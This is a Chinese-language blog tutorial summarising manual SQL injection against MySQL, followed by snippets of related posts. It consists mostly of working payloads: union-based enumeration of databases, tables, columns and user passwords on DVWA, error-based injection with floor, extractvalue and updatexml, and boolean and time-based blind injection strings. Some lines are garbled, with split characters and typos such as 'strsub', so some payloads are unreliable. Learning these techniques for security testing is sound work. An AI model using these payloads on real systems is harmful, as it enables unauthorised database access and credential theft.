SQL注入總結(二)

2021-08-22 10:16:10 字數 3946 閱讀 2965

手工注入的大致思路:

判斷是否存在注入,注入是字元型還是數字型

猜解sql查詢語句中的字段數(order by 2)

確定顯示的字段順序(union select 1,2)

獲取當前資料庫(union select 1,database())

獲取資料庫中的表(xx' union select 1,table_name from information_schema.tables where table_schema=

』dvwa

』-- )

獲取表中的欄位名(xx' union select 1,column_name from information_schema.columns where table_schema=

』users

』-- ) 』

union select user,password from users -- )

為什麼要知道sql查詢語句中的字段數呢?

因為要想查詢別的表中的資料就要用到聯合查詢,聯合查詢需要注意乙個問題,那就是前後select中欄位數目必須一樣,而且前面的每個字段型別必須和後面每個欄位的型別相相容

mysql資料庫(>=5.7)內建庫: m

ysql:儲存有賬戶資訊,許可權資訊,儲存過程,event,時區等資訊 s

ys:包含了一系列的儲存過程,自定義函式以及試圖來幫助我們快速的了解系統的元資料資訊 p

erformance_schema:用於手機伺服器效能引數 i

nformation_schema:其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等

查詢資料核心語法:

查庫:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema = 庫名

查列:select column_name from information_schema.columns where table_name = 表名

查資料:select 列名 from 庫名.表名

報錯注入:

構造payload讓資訊通過錯誤提示回顯出來

應用場景:

查詢不回顯內容,會列印錯誤資訊

update,insert等語句會列印錯誤資訊

方法:(凡是可以讓錯誤資訊顯示資料庫中內容的函式,都能實現報錯注入)

列舉三種:

floor():select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));

利用的是group對rand函式進行操作時產生錯誤 c

oncat:連線字串功能 f

loor:取float的整數值 r

and:取0-1之間的隨機浮點值 g

roup by:根據乙個或者多個列隊結果集進行有序分組並有排序功能 e

xtractvalue():select extractvalue(1,concat(0x7e,(select user()),0x7e)) e

xtractvalue():接收兩個引數,第乙個引數是xml文件,第二個是xpath語句,xml文件進行查詢和修改的函式

利用的是xpath語法錯誤產生報錯

updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e)1)

如果報錯顯示的長度有限,顯示的內容超過規定長度無法顯,我們就需要用substr()擷取部分內容顯示

盲注分為:基於布林的盲注,基於時間的盲注以及基於報錯的盲注

手工盲注的步驟:

判斷是否存在注入,注入是字元型還是數字型

猜解當前的資料庫名

猜解資料庫中的表名

猜解表中的欄位名

猜解資料

猜解資料庫: 1

』and 真 # 結果為真 1

』and 假 # 結果為假

猜解資料庫長度:length(str),通過1

』and length(database())>1-- 顯示結果不斷改變量字來判斷資料庫名長度

猜解資料庫名:

函式:left(a,b),從左側開始擷取a字串的前b位 s

ubstr(str,start,length) a

scii(a)將某個字元轉化為ascii值 m

id()函式與substr函式功能一樣 o

rd()函式與ascii函式功能一樣 r

egexp 正規表示式用法,user()結果為root,regexp為匹配root的正規表示式 l

ike 與regexp類似,使用like進行匹配

常用的poc a

nd left(select(database()),1)=『a』--+

and (select database()) regexp 『^r』

and (select database()) like 『r%』

and ord(mid((select database()),1,1))>97

and ascii(strsub((select database()),1,1)) > 97

通過1』and ascii(substr((select database()),1,1)) >97 -- 猜解資料庫名

通過1』and (select count (table_name) from information_schema.tables where table_schema=database()) =1 -- 猜解資料庫中表的數量

通過 1

』and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1 -- 猜解第乙個表名長度

通過 1

』and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97 -- 猜解第乙個表名(設其中乙個表的名稱為『users』)

通過1』and (select count(column_name) from information_schema.columns where table_name=

』users

』) = 8 -- 猜解出users表中有8個字段

通過1』and length(substr(select column_name from information_schema.columns where table_name =

『users

』limit 0,1),1)=7 --  

或者 1

』and length(select column_name from information_schema.columns where table_name =

『users

』limit 0,1)=7 --

猜解出第乙個欄位的長度

下面一樣通過 1

』and ascii(substr((select user from users) limit 0,1),1,1)) > 97 -- 猜解欄位名

前面的布林盲注,根據頁面返回的真假進行判斷猜解,而時間盲注根據頁面反應是否延時來猜解判斷

常見函式:

if()函式

if(expr1,expr2,expr3):如果expr1為真,返回expr2,否則返回expr3

舉例子:1

」and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=97,sleep(2),1)--+

SQL注入總結

在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...

sql注入總結

第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...

sql注入總結

資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...